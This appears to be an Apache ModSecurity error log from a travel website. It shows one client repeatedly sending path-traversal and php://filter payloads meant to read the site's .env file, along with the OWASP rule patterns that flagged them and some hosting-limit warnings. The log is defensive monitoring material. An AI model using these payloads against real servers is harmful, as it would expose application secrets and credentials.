[Fri Jul 17 08:55:11.579165 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.base64-encode/resource=../../../.env&extra=qp7gq9hhyrv5nuanevx_jvoouk6omh-dqewuom-wyeou9btbs1hafksvsyihgdxvk6_iufnnpf6yyayupcjfgvd5wbc4eftszu8ok6rtihhhs2vvavkkmrcfpp_o3va2ietw29qi1-vybejksap-ke3f8tuf1feqghosmtrpxpclz0zveptvrzknmkldfidpjrh7x2r_5uxykr9kndydbyb4ckstvbuvtaukghrqx4ijwg9cwzlhuwkhj38jccpqzfsivr26mvx52cpcgjbpqg6-&ref=zmbu6hum7r6rd7zpzrg7rlkgdvw7zwodrkjaqkwpcitfxfswm5bueprbpkafpjj3c2fxcb6k2wferuqhdujcjjghdcid5l3n7wz..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hwAAABA"]
[Fri Jul 17 08:55:11.579193 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hwAAABA"]
[Fri Jul 17 08:55:11.579217 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hwAAABA"]
[Fri Jul 17 08:55:11.579509 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:content: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdAAAAB4"]
[Fri Jul 17 08:55:11.579542 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:content: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hwAAABA"]
[Fri Jul 17 08:55:11.579810 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:content: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AawAAAAU"]
[Fri Jul 17 08:55:11.580471 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdAAAAB4"]
[Fri Jul 17 08:55:11.580502 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hwAAABA"]
[Fri Jul 17 08:55:11.580577 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.580645 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.580723 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AawAAAAU"]
[Fri Jul 17 08:55:11.580800 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.580910 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8hwAAABA"]
[Fri Jul 17 08:55:11.581060 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AawAAAAU"]
[Fri Jul 17 08:55:11.582767 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSdAAAAB4"]
[Fri Jul 17 08:55:11.583902 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&content=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ts=Rss2nfFNa_mNqhIx_CXupJmUXENrKbG3uDume5yHryXwmkzH6hGjYZPe2_CVOceLzLypAZr-_bQDB_sy1f2K0G-NMYIC8Xgx4NZ4K880ak0BfLW2hXfYwPo7D3EZAywE-4IuwEtqKnL_GdrdVEhWsBF8KQftSqRyt3Xa9xAWKxrUeeGDm8_Tg_auWWID4Xv59moI3M1IKPIjAQeum0u33sPn6l7cQejDyQQj8IaQHER3ICXhE_oatrKkRGrJvU0CS0_fBtlKErYZrc56hDhD02UN&anything=CIDHZ7SWDJYSHMCJ7WDAFXXRNCB35LPV3UX2DRKHAG5PXDHX52RJ5P5VWFYUYTBHQQ3DMY4KHRGB..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSAAAAAY"]
[Fri Jul 17 08:55:11.583941 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSAAAAAY"]
[Fri Jul 17 08:55:11.583997 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.base64-encode/resource=../../.env&ts=Rss2nfFNa_mNqhIx_CXupJmUXENrKbG3uDume5yHryXwmkzH6hGjYZPe2_CVOceLzLypAZr-_bQDB_sy1f2K0G-NMYIC8Xgx4NZ4K880ak0BfLW2hXfYwPo7D3EZAywE-4IuwEtqKnL_GdrdVEhWsBF8KQftSqRyt3Xa9xAWKxrUeeGDm8_Tg_auWWID4Xv59moI3M1IKPIjAQeum0u33sPn6l7cQejDyQQj8IaQHER3ICXhE_oatrKkRGrJvU0CS0_fBtlKErYZrc56hDhD02UN&anything=CIDHZ7SWDJYSHMCJ7WDAFXXRNCB35LPV3UX2DRKHAG5PXDHX52RJ5P5VWFYUYTBHQQ3DMY4KHRGB5QFCZE3BJXB654GIK3VWHQW3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSAAAAAY"]
[Fri Jul 17 08:55:11.584051 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.base64-encode/resource=../../.env&ts=rss2nffna_mnqhix_cxupjmuxenrkbg3udume5yhryxwmkzh6hgjyzpe2_cvocelzlypazr-_bqdb_sy1f2k0g-nmyic8xgx4nz4k880ak0bflw2hxfywpo7d3ezaywe-4iuwetqknl_gdrdvehwsbf8kqftsqryt3xa9xawkxrueegdm8_tg_auwwid4xv59moi3m1ikpijaqeum0u33spn6l7cqejdyqqj8iaqher3icxhe_oatrkkrgrjvu0cs0_fbtlkeryzrc56hdhd02un&anything=cidhz7swdjyshmcj7wdafxxrncb35lpv3ux2drkhag5pxdhx52rj5p5vwfyuytbhqq3dmy4khrgb5qfcze3bjxb654gik3vwhqw3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSAAAAAY"]
[Fri Jul 17 08:55:11.584083 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSAAAAAY"]
[Fri Jul 17 08:55:11.584107 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSAAAAAY"]
[Fri Jul 17 08:55:11.584439 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:content: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSAAAAAY"]
[Fri Jul 17 08:55:11.585374 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&content=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&junk=021HVYRJydYaHBaDo8YzlMx2Dj3NaePXvDGy0xrRixjHUQBATG6S6tpJy8R3qyzyz_rub5Pu1B9qzK4BLQWTWmRNzoGMA7rkAcBA68j64HcqQ0qHxYQjQ3arjpQ4SkIgxASqLCIetvmTOQfQwwIme2BgX_4URa3wPVPMha2ZCEIlilOajlBGScd-645mMxJUoic1xt_LWi0kv3Hqge6Q2wN2g22X5Nn4JOgFtFT-cRRA9PxGDoHF46RiDvLUxkKk_poopRzIK4JLYGXZ4v4RPio3&cb=GMLX2LTR6NJIYPSQU7EGJFOTSV6U7Z2SAVZFTTXJM5WENFDEEH63YCKHZMAGXOPFOPHONRO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PngAAABk"]
[Fri Jul 17 08:55:11.585419 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PngAAABk"]
[Fri Jul 17 08:55:11.585474 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSAAAAAY"]
[Fri Jul 17 08:55:11.585482 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&junk=021HVYRJydYaHBaDo8YzlMx2Dj3NaePXvDGy0xrRixjHUQBATG6S6tpJy8R3qyzyz_rub5Pu1B9qzK4BLQWTWmRNzoGMA7rkAcBA68j64HcqQ0qHxYQjQ3arjpQ4SkIgxASqLCIetvmTOQfQwwIme2BgX_4URa3wPVPMha2ZCEIlilOajlBGScd-645mMxJUoic1xt_LWi0kv3Hqge6Q2wN2g22X5Nn4JOgFtFT-cRRA9PxGDoHF46RiDvLUxkKk_poopRzIK4JLYGXZ4v4RPio3&cb=GMLX2LTR6NJIYPSQU7EGJFOTSV6U7Z2SAVZFTTXJM5WENFDEEH63YCKHZMAGXOPFOPHONROWYHWHE2PPHMGC2HFLEROV5BUK5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PngAAABk"]
[Fri Jul 17 08:55:11.585530 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&junk=021hvyrjydyahbado8yzlmx2dj3naepxvdgy0xrrixjhuqbatg6s6tpjy8r3qyzyz_rub5pu1b9qzk4blqwtwmrnzogma7rkacba68j64hcqq0qhxyqjq3arjpq4skigxasqlcietvmtoqfqwwime2bgx_4ura3wpvpmha2zceililoajlbgscd-645mmxjuoic1xt_lwi0kv3hqge6q2wn2g22x5nn4jogftft-crra9pxgdohf46ridvluxkkk_pooprzik4jlygxz4v4rpio3&cb=gmlx2ltr6njiypsqu7egjfotsv6u7z2savzfttxjm5wenfdeeh63yckhzmagxopfophonrowyhwhe2pphmgc2hflerov5buk5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PngAAABk"]
[Fri Jul 17 08:55:11.585565 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PngAAABk"]
[Fri Jul 17 08:55:11.585592 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PngAAABk"]
[Fri Jul 17 08:55:11.585597 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
